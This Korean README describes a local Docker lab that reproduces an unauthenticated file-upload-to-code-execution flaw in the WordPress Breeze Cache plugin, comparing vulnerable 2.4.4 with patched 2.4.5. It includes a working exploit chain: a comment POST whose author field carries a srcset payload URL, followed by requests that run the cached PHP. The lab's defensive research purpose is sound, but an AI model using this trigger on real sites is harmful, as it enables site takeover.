
WordPress Breeze Cache 플러그인의 인증되지 않은 임의 파일 업로드에서 RCE로 이어지는 CVE-2026-3844를 재현하기 위한 로컬 Docker 랩. 격리된 서비스와 최소 피해 PoC를 사용하여 취약한 2.4.4와 패치된 2.4.5를 비교합니다.
WordPress Breeze Cache 플러그인의 CVE-2026-3844 동작을 재현하고 비교하기 위한 로컬 전용 Docker 랩입니다.
이 저장소는 Breeze Cache 2.4.4의 취약한 동작을 시연하고 Breeze Cache 2.4.5의 패치된 동작과 비교합니다. 이 랩은 취약한 버전과 패치된 버전 각각에 대해 격리된 두 개의 WordPress 서비스와 Docker 네트워크 내부의 로컬 페이로드 서버를 사용합니다.
PoC는 의도적으로 최소 피해(least-harm) 방식으로 설계되었습니다. 웹셸을 사용하지 않고, 명령 파라미터를 노출하지 않으며, 리버스 셸을 시작하지 않고, 컨테이너 내부에서 파일을 읽을 필요도 없습니다. 증명은 호스트에서 관찰 가능한 HTTP 동작을 기반으로 합니다.
CVE-2026-3844는 WordPress용 Breeze Cache 플러그인 버전 2.4.4까지 영향을 줍니다. 취약한 코드 경로는 플러그인의 로컬 Gravatar 캐싱 기능, 특히 fetch_gravatar_from_remote() 흐름과 관련되어 있습니다.
Breeze 옵션 Host Files Locally - Gravatars가 활성화되면, 취약한 버전은 공격자가 제어하는 원격 파일을 가져와 공개적으로 웹에서 접근 가능한 캐시 디렉토리에 저장할 수 있습니다. 가져온 파일이 PHP인 경우, HTTP로 요청되면 웹 서버가 해당 파일을 실행할 수 있습니다.
이 랩은 해당 동작을 로컬에서 재현합니다:
vuln 서비스: WordPress + Breeze Cache 2.4.4patched 서비스: WordPress + Breeze Cache 2.4.5payload 서비스: 로컬 Docker 전용 페이로드 서버srcset 문자열을 사용한 인증 없는 댓글 기반 트리거예상 결과는 다음과 같습니다:
http://127.0.0.1:8081 / Breeze 2.4.4 → 증명용 PHP가 캐시되고 실행됨http://127.0.0.1:8082 / Breeze 2.4.5 → 증명용 PHP가 캐시/읽기/실행되지 않음.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── seed-wordpress.sh
├── payload/
│ └── manual-proof.php
│ └── proof-cve3844.php
├── poc/
│ └── poc.py
│ └── requirements.txt
├── .gitignore
├── README.md
Host machine
│
├── http://127.0.0.1:8081 -> vuln WordPress + Breeze 2.4.4
├── http://127.0.0.1:8082 -> patched WordPress + Breeze 2.4.5
└── http://127.0.0.1:9100 -> local payload server
Docker network
│
├── vuln -> WordPress vulnerable target
├── patched -> WordPress patched target
├── vuln_db -> MariaDB for vulnerable WordPress
├── patched_db -> MariaDB for patched WordPress
└── payload -> Python static HTTP server
WordPress 컨테이너는 Docker 네트워크 URL을 통해 페이로드를 가져옵니다:
http://payload:9100/<payload-file>.php
호스트는 WordPress 서비스에 대한 일반 HTTP 요청을 통해 결과를 확인합니다.
2.4.42.4.5fetch_gravatar_from_remote()inc/class-breeze-cache-cronjobs.phpbreeze-store-gravatars-locally가 활성화되어 있어야 함취약한 동작은 로컬 Gravatar 캐싱이 활성화된 경우에만 도달할 수 있습니다. 이 옵션은 일반적인 설치에서는 기본적으로 비활성화되어 있지만, 이 랩에서는 취약한 코드 경로를 재현하기 위해 의도적으로 활성화합니다.
Breeze Cache 2.4.4에서 Gravatar 로컬화 흐름은 아바타 관련 HTML에서 원격 URL을 추출하여 해당 URL을 fetch_gravatar_from_remote()에 전달할 수 있습니다.
취약한 버전에는 원격 파일에 대한 충분한 검증이 부족합니다:
.php와 같은 위험한 확장자를 유지할 수 있음결과 파일은 다음 경로에 저장됩니다:
/wp-content/cache/breeze-extra/gravatars/
PHP 파일이 해당 위치에 저장된 후 Apache/PHP를 통해 요청되면 서버가 이를 실행합니다.
Breeze Cache 2.4.5에서는 패치된 흐름에 이 랩의 페이로드가 실행 가능한 PHP로 캐시되지 않도록 하는 검증이 추가되었습니다. 로컬 재현에서 동일한 트리거는 2.4.4에서는 동작하지만 2.4.5에서는 증명 마커를 노출하지 않습니다.
이 랩은 공개 페이로드 호스트 대신 의도적으로 페이로드 서버를 로컬에 유지합니다.
WordPress download_url() 및 WordPress HTTP API는 기본적으로 일부 사설 Docker 호스트 이름과 비표준 포트를 거부합니다. 공개 익스플로잇 스크립트는 종종 이러한 제한을 피하는 공개 HTTPS 페이로드 URL을 사용합니다. 이 랩은 그렇게 하지 않습니다.
재현을 완전히 로컬로 유지하기 위해 시드 스크립트는 다음을 수행하는 소규모 로컬 전용 MU 플러그인 헬퍼를 설치합니다:
payload 및 payload.local만 허용80 및 9100만 허용이 헬퍼는 Breeze 소스 코드를 수정하지 않습니다. 취약한 서비스와 패치된 서비스 모두 WP-CLI를 통해 설치된 실제 Breeze 플러그인 버전을 사용합니다.
헬퍼는 Docker 랩을 결정적이고 로컬 전용으로 만들기 위해서만 존재합니다.
이 저장소는 로컬 보안 연구 및 포트폴리오 시연 전용입니다.
안전장치:
localhost 및 Docker 네트워크 서비스에서만 실행cmd= 웹셸 동작 없음PoC 페이로드는 무해한 PHP 런타임 정보를 출력합니다:
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<process id>
host=<container hostname>
이것은 셸 명령을 생성하지 않고 코드 실행 컨텍스트를 증명합니다.
requestsPython 의존성 설치:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
requirements.txt에는 다음이 포함되어야 합니다:
requests
랩 빌드 및 시작:
docker compose down -v --remove-orphans
docker compose up -d --build
서비스 상태 확인:
docker compose ps
예상 서비스:
vuln healthy http://127.0.0.1:8081
patched healthy http://127.0.0.1:8082
payload running http://127.0.0.1:9100
vuln_db healthy
patched_db healthy
시드 로그 확인:
docker compose logs --tail=120 vuln
docker compose logs --tail=120 patched
예상 로그 라인:
[seed] WordPress ready at http://localhost:8081 with Breeze 2.4.4
[seed] WordPress ready at http://localhost:8082 with Breeze 2.4.5
WordPress 설치 확인:
docker compose exec vuln wp core is-installed --allow-root --path=/var/www/html
docker compose exec patched wp core is-installed --allow-root --path=/var/www/html
Breeze 버전 확인:
docker compose exec vuln wp plugin get breeze --field=version --allow-root --path=/var/www/html
docker compose exec patched wp plugin get breeze --field=version --allow-root --path=/var/www/html
예상:
2.4.4
2.4.5
취약한 사전 조건 확인:
docker compose exec vuln wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
docker compose exec patched wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
예상:
1
1
WordPress가 로컬 페이로드 서비스를 가져올 수 있는지 확인:
docker compose exec vuln wp eval '
$r = download_url("http://payload:9100/proof-cve3844.php");
if (is_wp_error($r)) { var_dump($r->get_error_message()); exit; }
echo $r . PHP_EOL;
echo file_get_contents($r);
@unlink($r);
' --allow-root --path=/var/www/html
proof-cve3844.php가 아직 존재하지 않으면 payload/에 임시 파일을 만들거나 PoC를 한 번 실행하세요.
취약한 서비스 대상 실행:
python3 poc/poc.py --base-url http://127.0.0.1:8081
예상 취약 결과:
[VULNERABLE-BEHAVIOR] unique PHP proof marker was publicly readable
[+] PHP proof appears to have executed
증명 출력 예시:
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>
패치된 서비스 대상 실행:
python3 poc/poc.py --base-url http://127.0.0.1:8082
예상 패치 결과:
[PATCHED-BEHAVIOR] unique PHP proof marker was not publicly readable
301 Moved Permanently와 같은 리다이렉트는 증명으로 간주되지 않습니다. PoC는 고유 마커가 HTTP 응답 본문에 나타나야 합니다.
PoC는 다음의 로컬 전용 흐름을 수행합니다:
payload/ 아래에 고유한 PHP 증명 파일을 생성합니다.x srcset=http://payload:9100/<unique-payload>.php
/wp-content/cache/breeze-extra/gravatars/<unique-payload>.php
--keep-payload를 사용하지 않으면 생성된 로컬 페이로드 파일을 제거합니다.PoC는 대상 컨테이너 내부에서 파일을 읽지 않습니다. 증거는 호스트에서 HTTP를 통해 수집됩니다.
수동 페이로드 생성:
cat > payload/manual-proof.php <<'PHP'
<?php
header('Content-Type: text/plain');
echo "CVE-2026-3844_MANUAL_PROOF\n";
echo "php_sapi=" . php_sapi_name() . "\n";
echo "user=" . get_current_user() . "\n";
echo "uid=" . (function_exists('posix_geteuid') ? posix_geteuid() : getmyuid()) . "\n";
echo "pid=" . getmypid() . "\n";
echo "host=" . gethostname() . "\n";
PHP
페이로드 서버가 PHP 소스를 정적 텍스트로 서빙하는지 확인:
curl -i http://127.0.0.1:9100/manual-proof.php
취약한 WordPress 서비스에 댓글 게시:
curl -i -sS \
-X POST 'http://127.0.0.1:8081/wp-comments-post.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'comment_post_ID=1' \
--data-urlencode 'comment_parent=0' \
--data-urlencode 'author=x srcset=http://payload:9100/manual-proof.php' \
--data-urlencode '[email protected]' \
--data-urlencode 'url=' \
--data-urlencode 'comment=manual CVE-2026-3844 proof' \
--data-urlencode 'submit=Post Comment'
구성된 WordPress 사이트 URL 호스트를 통해 게시물을 렌더링하여 Breeze 처리를 트리거:
curl -sS 'http://localhost:8081/?p=1' >/tmp/cve3844-vuln-render.html
grep -i 'manual-proof.php' /tmp/cve3844-vuln-render.html
예상 HTML 증거:
alt='x srcset=http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php Avatar'
캐시된 PHP 파일 요청:
curl -i 'http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php'
예상 취약 증명:
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8
CVE-2026-3844_MANUAL_PROOF
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>
페이로드 로그 확인:
docker compose logs --tail=50 payload
예상:
GET /manual-proof.php HTTP/1.1" 200
| 대상 | Breeze 버전 | 예상 결과 |
|---|---|---|
http://127.0.0.1:8081 | 2.4.4 | PHP 증명이 가져와지고, 캐시되고, 실행 가능함 |
http://127.0.0.1:8082 | 2.4.5 | PHP 증명 마커가 노출되지 않음 |
컨테이너, 네트워크 및 볼륨 중지 및 제거:
docker compose down -v --remove-orphans
필요한 경우 생성된 페이로드 파일 제거:
rm -f payload/proof-cve3844-*.php payload/manual-proof*.php
NVD — CVE-2026-3844:
https://nvd.nist.gov/vuln/detail/CVE-2026-3844
Patchstack 데이터베이스 — WordPress Breeze Cache 플러그인 <= 2.4.4 fetch_gravatar_from_remote를 통한 무인증 임의 파일 업로드:
https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability
Wordfence 위협 인텔리전스 — Breeze Cache <= 2.4.4 무인증 임의 파일 업로드:
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote
Wordfence 블로그 — Breeze Cache 취약점의 활발한 악용 관련 보도:
https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/
Breeze Cache 플러그인 페이지:
https://wordpress.org/plugins/breeze/
이 랩에서 사용된 WordPress 플러그인 다운로드:
WordPress Plugin Trac — Breeze 소스 참조, class-breeze-cache-cronjobs.php:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.4/inc/class-breeze-cache-cronjobs.php
WordPress Plugin Trac — Breeze 패치 소스 참조, class-breeze-cache-cronjobs.php:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.5/inc/class-breeze-cache-cronjobs.php
이 프로젝트는 승인된 로컬 보안 연구용으로만 제공됩니다. 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 대해 PoC를 실행하지 마십시오.